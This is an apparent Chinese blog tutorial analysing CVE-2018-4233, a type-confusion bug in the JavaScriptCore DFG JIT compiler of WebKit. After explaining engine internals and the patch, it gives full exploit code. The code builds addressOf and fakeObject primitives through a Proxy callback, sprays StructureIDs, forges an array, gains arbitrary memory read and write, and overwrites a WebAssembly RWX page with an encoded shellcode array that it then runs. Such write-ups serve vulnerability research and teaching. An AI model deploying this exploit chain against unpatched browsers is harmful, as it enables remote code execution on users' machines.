Pwn2Own 2018 CVE-2018-4233 分析

robots

 

0x00 前言

JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎,最近学习JavaScriptCore引擎的漏洞利用,在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路

 

0x01 前置知识

JSC引擎执行流程

JSC引擎执行JS代码的流程如下

Lexer:词法分析,提取单词
Parser:语法分析,生成语法树,并从语法树中构建ByteCode
LLInt:Low Level Interpreter执行Parser生成的ByteCode,其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6 次,或者某段代码循环了大于100次会触发该引擎进行JIT编译,其编译后的代码仍然为中间码,而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT: 在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器,将低效字节码进行优化并转为机器码。它利用LLInt和Baseline JIT阶段收集的一些信息来优化字节码,消除一些类型检查等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light,更高度的优化,在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法,将DFG IR进一步优化转为 FTL 里用到的 B3 的 IR,然后生成机器码

可以知道,Baseline JIT->DFG JIT->FTL每一个过程都进行了更加深入的优化,优化一般就是通过类型收集和判断,消除一些不必要的类型检查,并生成机器码,从而可以节省运行时间。由于js是动态类型语言,当类型优化推断错误时,便可以返回上一级,比如DFG JIT优化错误,则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是堆栈替换 on-stack replacement,简称 OSR。这个技术可以将执行转移到任何 statement 的地方。

clobberWorld

在DFG的遍历优化中,会进行类型收集,如果要之前推断的类型不正确,则调用clobberWorld函数放弃之前推断信息,如果不调用该函数,那么前面的类型信息继续保留。

JSC断点调试

与V8不同的是,JSC没有提供用于断点调试的js函数,一种简便的方法是在printInternal函数上进行断点

b *printInternal

然后在js代码中调用print,即可断下。如果我们要打印信息,利用debug函数来打印,因为print已经被我们拿去断点用了。另一种方法是我们自己在Source/JavaScriptCore/jsc.cpp源码中增加一个dbg函数,并在函数中实现int3指令,然后就能在js中调用。

JSC对象内存模型

首先使用这段代码进行调试,其中describe函数是用来打印对象结构的,debug是用于输出文字的,print用于断点

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
debug(describe(a));
print();

输出如下

--> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297

使用gdb打印对象地址处的内容

pwndbg> x /20gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x0100150000000129    0x0000000000000000
0x7fffaf8ac010:    0x0000000000000000    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0x0000000000000000
0x7fffaf8ac080:    0x0000000000000000    0x0000000000000000
0x7fffaf8ac090:    0x0000000000000000    0x0000000000000000

可以看到,我们的数据都依次按照顺序存入了对象的内存中,并且可以发现不同类型之间的存储,其最前面有一些标志数据,总结起来如下:

Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]

可以发现,对于对象类型,由于标记为0,所以直接存储着的就是指针,而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;

debug(describe(a));
print();

打印如下

--> Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303

可以看到butterfly已经不是null了,我们查看一下对象内存

pwndbg> x /30gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x010015040000012f    0x00007ff0000fe5a8
0x7fffaf8ac010:    0x0000000000000003    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0xffff00000000000b
0x7fffaf8ac080:    0xffff00000000000c    0xffff00000000000d
0x7fffaf8ac090:    0xffff00000000000e    0xffff00000000000f

pwndbg> x /20gx 0x00007ff0000fe5a8
0x7ff0000fe5a8:    0xffff000000000010    0xffff000000000011
0x7ff0000fe5b8:    0x0000000000000000    0x00000000badbeef0

可以看到,butterfly里存储着数组的元素,而其他属性则仍然存储于对象中,我们称这些为内联属性,因为其存储于对象内部。现在测试代码再修改一下

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
a['r'] = 18;
debug(describe(a));
print();

输出如下

--> Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304
pwndbg> x /20gx 0x7fec000f8468-0x10
0x7fec000f8458:    0xffff000000000012    0x0000000300000002
0x7fec000f8468:    0xffff000000000010    0xffff000000000011

可以知道a['r'] = 18;这句代码,18存储于butterfly上方,由于其是数组的操作方式,因此其不再归为内联属性,同时我们还注意到butterfly-0x8处的数据0x0000000300000002,这代表数组的大小和容量。
总结出JSC的对象结构如下:

其中JSCell是一个结构体,其中有StructureID等成员,在源码目录中的Tools/gdb/webkit.py文件是用于gdb调试的脚本插件,我们导入gdb,然后进行调试查看。

pwndbg> p *(JSC::JSCell *)0x7fffaf8b42d0
$2 = {
  <JSC::HeapCell> = {<No data fields>}, 
  members of JSC::JSCell: 
  static StructureFlags = 0, 
  static needsDestruction = false, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 284, 
  m_indexingTypeAndMisc = 0 '\000', 
  m_type = JSC::FinalObjectType, 
  m_flags = 0 '\000', 
  m_cellState = JSC::CellState::DefinitelyWhite
}

其中JSCell的作用类似于V8中的Map,用于表示对象类型,与V8不同的是,类型的关键在于JSCell使用StructureID来区分类型,StructureID是一个类似于index下标的作用,真正的Structure指针存储在一个StructureTable中,判断对象的时候通过index从StructureTable取出Structure的地址,进而访问StructureStructure表明了对象的原型,对象结构相同则具有相同的StructureID

JSC::StructureIDTable::get(JSC::StructureID)

使用如下代码测试

var a = {x:1,y:2};
var b = {x:3,y:4};
var c = {a:5,b:6};
debug(describe(a));
debug(describe(b));
debug(describe(c));
print();

输出如下

--> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4300 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4330 with butterfly (nil) (Structure 0x7fffaf8a7e20:[Object, {a:0, b:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 286

可以看到a和b具有相同的StructureIDStructure

伪造对象

从上述可以知道,JSCell就是一串数值,包含着StructureID,而不是指针,并且在一些版本中,StructureID不是随机的,而是按照不同对象创建的顺序递增,因此我们想要伪造数组对象的话,可以先申请N个数组对象,然后稍微添加一个不同的属性,则它们的StructureID不同,然后我们猜测一个StructureID,只要确保其很大概率落在已有的这些StructureID之中即可。

查看优化的数据

与V8中的--trace-turbo类似的,JSC中提供了-p选项用于输出profiling data,里面包含一些优化时的数据、字节码等。profiling data格式为json,JSC没有提供像V8那样的可视化工具用于查看流图,我们就只能看看JSON数据。

 

0x02 漏洞分析利用

patch分析

index e7f1585..fc1a7c5 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
+++ b/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2013-2017 Apple Inc. All rights reserved.
+ * Copyright (C) 2013-2018 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -2274,6 +2274,7 @@ bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimi
                 }
             }
         }
+        clobberWorld(node->origin.semantic, clobberLimit);
         forNode(node).setType(m_graph, SpecFinalObject);
         break;
     }

该patch修复了漏洞,patch位于文件Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h中的executeEffects函数,从文件路径可以知道,这个漏洞与DFG JIT有关,executeEffects是当DFG JIT做优化时处理side Effects时用的,与v8一个道理,side Effects即一些潜在的侧链影响,通俗来讲就是判断某个操作是否会影响类型变化,如果会影响,放弃之前的类型推断,如果不影响,继续使用之前的类型。patch位于函数中switch的case CreateThis:分支,主要就是遍历字节码,遇到CreateThis时,调用clobberWorld函数放弃前面的类型推断。那么这也就是说,原来的漏洞点在于CreateThis是存在会影响对象类型的,但是DFG JIT没有判断出来,这就导致类型混淆。

POC构造

首先,要得到create_this字节码,使用的是this

function foo() {
   this.x = 1;
}

var b = new foo();
print(b.x);

得到的字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] put_by_id         this, x(@id0), Int32: 1(const0), Bottom
[  24] ret               this

可以看到,通过put_by_id字节码指令将1存入x属性中。现在我们将测试代码稍作修改

function foo(arg) {
   this.x = arg[0];
}

var b = new foo([1.1]);

print(b.x);

字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] mov               loc6, this
[  18] get_by_val        loc7, arg1, Int32: 0(const0)    Original; predicting None
[  24] put_by_id         loc6, x(@id0), loc7, Bottom
[  33] ret               this

通过get_by_val字节码指令从数组中取出元素0,然后通过put_by_id存入属性x中。
现在加入触发DFG JIT优化的代码,再做测试,发现前期Parse以后的字节码是一样的,不同点在于这次存在了DFG JIT时的字节码展开,其中[ 10] create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None被展开如下

[10]
CountExecution
CheckCell
NewObject
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以知道,CreateThis被优化为了CheckCell和NewObject,并且在这种情况下参数arg的类型不可能发生变化,因此在[ 0] enter使用了CheckStructure检查一次参数就可以了,这里无需再重复检查。现在,我们尝试为foo函数增加一个Proxy代理,这样,使用foo_proxy对象对foo进行间接访问时,会被代理拦截,并进入handlerget函数中处理。

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(foo_proxy.a);

输出如下

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
a

因为我们通过foo_proxy.a间接的访问了foo.a属性,所以被拦截了。那我们使用new foo_proxy()会发生什么呢?

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(new foo_proxy([1.1]));

输出如下

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
prototype

因为在创建一个对象的时候,是需要用到函数的prototype这个属性的,它是函数的原型,也是foo的一个自带属性,因此在创建对象时也可以被成功拦截。我们尝试加入DFG JIT优化,并查看字节码

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy([1.1]);
}

print(b.x);

ByteCode仍然一样,不一样的是DFG JIT的Code

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以看到,由于我们加入了代理,现在CreateThis不能再被内联优化,其中CreateThis的汇编调用代码如下

          0x7fffb010016e: mov $0x7fffaff0b4a8, %r11
          0x7fffb0100178: mov (%r11), %r11
          0x7fffb010017b: test %r11, %r11
          0x7fffb010017e: jz 0x7fffb010018b
          0x7fffb0100184: mov $0x113, %r11d
          0x7fffb010018a: int3 
          0x7fffb010018b: cmp $0x17, 0x5(%rsi)
          0x7fffb010018f: jnz 0x7fffb0100565
          0x7fffb0100195: mov 0x28(%rsi), %r8
          0x7fffb0100199: test %r8, %r8
          0x7fffb010019c: jz 0x7fffb0100565
          ............................

可以知道其主要是跳转到了0x7fffb0100565这个地址处,继续跟踪,该地址处的代码

          0x7fffb0100565: mov %rax, -0x30(%rbp)
          0x7fffb0100569: mov %rsi, -0x38(%rbp)
          0x7fffb010056d: mov %rbp, %rdi
          0x7fffb0100570: mov $0x1, %edx
          0x7fffb0100575: mov $0x7fffaff09898, %r11
          0x7fffb010057f: mov $0xbadbeef, (%r11)
          0x7fffb0100586: mov $0x7fffaff0989c, %r11
          0x7fffb0100590: mov $0xbadbeef, (%r11)
          0x7fffb0100597: mov $0x6, 0x24(%rbp)
          0x7fffb010059e: mov $0x7ffff6113791, %r11
          0x7fffb01005a8: call *%r11

通过调试,可以知道这里调用的函数是operationCreateThis这个函数,其源码位于文件Source/JavaScriptCore/dfg/DFGOperations.cpp

JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity))
{
    VM& vm = globalObject->vm();
    CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
    JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
    auto scope = DECLARE_THROW_SCOPE(vm);
    if (constructor->type() == JSFunctionType && jsCast<JSFunction*>(constructor)->canUseAllocationProfile()) {
        DeferTermination deferScope(vm);
        auto rareData = jsCast<JSFunction*>(constructor)->ensureRareDataAndAllocationProfile(globalObject, inlineCapacity);
        scope.releaseAssertNoException();
        ObjectAllocationProfileWithPrototype* allocationProfile = rareData->objectAllocationProfile();
        Structure* structure = allocationProfile->structure();
        JSObject* result = constructEmptyObject(vm, structure);
        if (structure->hasPolyProto()) {
            JSObject* prototype = allocationProfile->prototype();
            ASSERT(prototype == jsCast<JSFunction*>(constructor)->prototypeForConstruction(vm, globalObject));
            result->putDirect(vm, knownPolyProtoOffset, prototype);
            prototype->didBecomePrototype();
            ASSERT_WITH_MESSAGE(!hasIndexedProperties(result->indexingType()), "We rely on JSFinalObject not starting out with an indexing type otherwise we would potentially need to convert to slow put storage");
        }
        return result;
    }

    JSValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
    RETURN_IF_EXCEPTION(scope, nullptr);
    if (proto.isObject())
        return constructEmptyObject(globalObject, asObject(proto));
    JSGlobalObject* functionGlobalObject = getFunctionRealm(globalObject, constructor);
    RETURN_IF_EXCEPTION(scope, nullptr);
    return constructEmptyObject(functionGlobalObject);
}

其中的操作SValue proto = constructor->get(globalObject, vm.propertyNames->prototype);会被我们JS层中的代理拦截,由此可以知道,operationCreateThis会回调JS层的代理函数。此时我们想到,在JS中的Proxy对象的handler中,我们可以操纵任意的对象,我们可以将参数arg的类型修改掉。于是这样构造

function foo(arg) {
   this.x = arg[0];
}

var trigger = false;
var arr = [1.1,2.2];

let handler = {
   get(target, prop) {
      if (trigger) {
         arr[0] = {};
      }
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy(arr);
}

trigger = true;
b = new foo_proxy(arr);
print(b.x);

这样,当CreateThis回调了handler中的get函数时,arr[0] = {}将arr的类型改为了对象数组类型,不再是unboxed double,但是CreateThis回调结束以后,并没有重新对arg进行类型检查,仍然将其当做unboxed double类型,由此造成了类型混淆。
运行结果如下,成功输出对象的地址

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
6.9532879215489e-310

修复漏洞以后的版本,其DFG JIT的字节码展开如下

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
CheckStructure
GetButterfly
GetByVal
MovHint
ValueRep

可以看到,其在CreateThis后面增加了一个CheckStructure,从而避免了类型混淆。

漏洞利用

fakeObj和addressOf原语构造

通过上述分析,我们很容易构造出两个原语

function addressOf(obj) {
   function foo(arg) {
      this.x = arg[0];
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = obj;
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0; i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   var ret = new foo_proxy(arr);
   return u64f(ret.x);
}

function fakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   function foo(arr) {
      arr[0] = addr;
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = {};
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0;i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   new foo_proxy(arr);
   return arr[0];
}

堆喷StructureID

为了伪造一个数组对象,首先得拿到数组对象的StructureID,由于其是一串数字,并且对数组对象增加不同的属性即可使得StructureID不同,依次递增,因此,我们申请一些列不同原型的数组对象,然后随便猜测一个StructureID

//制造N个对象,每个对象产生不一样的Structures,使得我们可以猜测一个可用的StructuresID
var structs = [];
function sprayStructures() {
   var fake_elements_header = p64f(0,0);
   for (var i = 0; i < 1000; i++) {
      var a = {x:1,y:2};
      for (var j=0;j<0xffff;j++)
         a[j] = 23.33;
      a['x' + i] = fake_elements_header;
      a.prop = 1.1;
      structs.push(a);
   }
}
sprayStructures();

伪造数组对象

var victim = structs[0x300];

var jscell_double = p64f(0x00000200,0x01082007);

//对象的内存地址必须对齐,因此我们增加一个padding
var container = {
   padding:1.1,
   jscell:jscell_double,
   butterfly:victim,
   butterflyIndexingMask:p64f(0x11111111,0x0)
}

var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x20,container_addr[1]);

这里,我们将butterfly直接指向了victim,由于是对象,因此存储的是指针,所以通过hax,我们可以控制victim对象的整个结构,victim同样也是一个数组,我们这样做的目的是避免多次通过fakeObjectaddressOf来伪造对象,因为这比较耗时并且可能影响内存布局,我们只需第一次伪造一个对象能够控制已有的对象,后面就可以方便操作,同样我们利用has和victim重新构造一个快速的NewAddressOfNewFakeObject

// ArrayWithDouble
//var unboxed = [6.66,6.66,6.66];
var unboxed = structs[0x301];
var a = {x:1,y:2};
//for (var j=0;j<0xffff;j++)
   //a[j] = 23.33;
a['x0'] = p64f(0,0);
// ArrayWithContiguous
var boxed = {x:1,y:2};
boxed[0] = {};

//让boxed和unboxed的Butterfly为同一地址
var d = addressOf(unboxed);
hax[1] = p64f(d[0],d[1]);
var sharedButterfly = victim[1];
d = addressOf(boxed);
hax[1] = p64f(d[0],d[1]);
victim[1] = sharedButterfly;

debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));

function NewAddressOf(obj) {
   boxed[0] = obj;
   return u64f(unboxed[0]);
}

function NewFakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   unboxed[0] = addr;
   return boxed[0];
}

构造read64和write64原语

function read64(addr_l,addr_h,index = 0) {
   //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
   //因此我们换用另一种方法,即利用property去访问
   hax[1] = p64f(addr_l + 0x10,addr_h);
   return NewAddressOf(victim.prop);
}

function write64(addr_l,addr_h,double_val) {
   hax[1] = p64f(addr_l + 0x10,addr_h);
   victim.prop = double_val;
}

这里,我们不使用数组的方式去实现任意地址读写,因为数组的方式需要保证used slots和max slots字段满足要求,任意地址处不可能一直满足这个要求,因此我们使用外属性的方式,前面介绍过,这种外部属性就存储于butterfly前面,使用read的时候,最后需要加上NewAddressOf进行转换,因为属性的存储是按照前面介绍的这个

Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]

方式存储的,显然我们读取的数据不满足这个要求,直接使用victim.prop返回的值会导致崩溃,当我们需要读取的数据是一些地址的时候,由于地址往往就48位,因此其高2字节为0,此时这个数据会被当成一个对象地址,因此为了拿到这个值,需要加上一层NewAddressOf,同理,在write64的时候如果写入的数据高2字节为0,需要加上一层NewFakeObject,由于我们写入的是double,就不需要,但是double数据会导致第7个字节的低4位为1,因此,我们不能一次性写入8个字节的完好数据,但是我们可以保证低4字节的数据被正确写入到目标处,因此,我们只需将数据拆分为4字节一组,然后包装为8字节的double,即可依次将数据完整的写入。

劫持WASM,写shellcode

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var funcObj_addr = addressOf(func);
var codeAddr = read64(funcObj_addr[0] + 0x48,funcObj_addr[1],1);
var rwx_addr = read64(codeAddr[0],codeAddr[1],1);

debug("funcObj_addr=" + funcObj_addr[1].toString(16) + funcObj_addr[0].toString(16));
debug("codeAddr=" + codeAddr[1].toString(16) + codeAddr[0].toString(16));
debug("rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));

//替换jit的shellcode
for (var i=0;i<shellcode.length;i++) {
   write64(rwx_addr[0] + i*4,rwx_addr[1],p64f(shellcode[i],0));
}

//执行shellcode
func();

成功利用

 

0x03 感想

JSC的漏洞利用本质上与V8的漏洞利用相似,分析方法也类似,这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现,又收获了许多新知识。

 

0x04 参考

FireShell2020——从一道ctf题入门jsc利用
Webkit Exploitation Tutorial
wiki JavaScriptCore
【编译原理】中间代码(一)
深入剖析 JavaScriptCore
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
JavaScriptCore内部原理(一):从JS源码到字节码的追踪
WebKit commitdiff

(完)